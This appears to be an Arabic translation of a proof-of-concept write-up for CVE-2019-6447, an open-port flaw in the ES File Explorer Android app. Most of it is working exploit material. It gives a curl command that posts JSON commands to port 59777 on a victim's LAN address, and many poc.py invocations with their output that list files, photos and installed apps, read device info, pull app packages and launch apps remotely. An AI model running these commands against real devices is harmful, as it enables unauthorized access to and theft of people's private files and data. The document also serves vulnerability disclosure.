
ثغرة المنفذ المفتوح في ES File Explorer - CVE-2019-6447
وفقًا لوصفهم في متجر Google Play:
ES File Explorer (مدير الملفات) هو مدير ملفات متكامل (صور، موسيقى، فيديوهات، مستندات، تطبيقات) للاستخدام المحلي وعبر الشبكة! مع أكثر من 500 مليون مستخدم حول العالم، يساعدك ES File Explorer (مدير الملفات) في إدارة هاتفك الأندرويد وملفاتك بكفاءة وفعالية ومشاركة الملفات بدون تكلفة بيانات.
في كل مرة يفتح فيها المستخدم التطبيق، يتم تشغيل خادم HTTP. هذا الخادم يفتح المنفذ 59777 محليًا:
angler:/ # netstat -ap | grep com.estrongs
tcp6 0 0 :::59777 :::* LISTEN 5696/com.estrongs.android.pop
على هذا المنفذ، يمكن للمهاجم إرسال حمولة JSON إلى الهدف
curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777
تسمح هذه الأوامر للمهاجم المتصل على نفس الشبكة المحلية مع الضحية، بالحصول على الكثير من المعلومات القيمة (معلومات الجهاز، التطبيقات المثبتة، ...) عن هاتف الضحية، سحب ملف عن بُعد من هاتف الضحية و تشغيل تطبيق عن بُعد على هاتف الضحية.
4.1.9.7.4 وما دون
مع إثبات المفهوم التالي (POC)، يمكنك:
$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg
$ python poc.py --cmd appPull --pkg com.tencent.mm
$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm
$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}
$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}
$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}
$ python poc.py --cmd listAppsSdcard
$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }
$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }
$ python poc.py --cmd listVideos
$ python poc.py --cmd listFiles
$ python poc.py --cmd listFiles --network 192.168.1.
$ python poc.py --cmd listFiles --ip 192.168.4.17
$ python poc.py list
######################
# الأوامر المتاحة #
######################
listFiles: سرد جميع الملفات
listPics: سرد جميع الصور
listVideos: سرد جميع الفيديوهات
listAudios: سرد جميع الملفات الصوتية
listApps: سرد جميع التطبيقات المثبتة
listAppsSystem: سرد جميع تطبيقات النظام
listAppsPhone: سرد جميع تطبيقات الهاتف
listAppsSdcard: سرد جميع ملفات apk في بطاقة SD
listAppsAll: سرد جميع التطبيقات المثبتة (بما في ذلك تطبيقات النظام)
getDeviceInfo: الحصول على معلومات الجهاز
appPull: سحب تطبيق من الجهاز. يحتاج إلى معلمة اسم الحزمة
appLaunch: تشغيل تطبيق. يحتاج إلى معلمة اسم الحزمة
getAppThumbnail: الحصول على أيقونة تطبيق. يحتاج إلى معلمة اسم الحزمة
تابعني على تويتر! يمكنك أيضًا العثور على جزء صغير من عملي على https://fs0c131y.com
بعد تلميح من @moonbocal، تم إجراء التحقيق وإثبات المفهوم مع ❤️ بواسطة @fs0c131y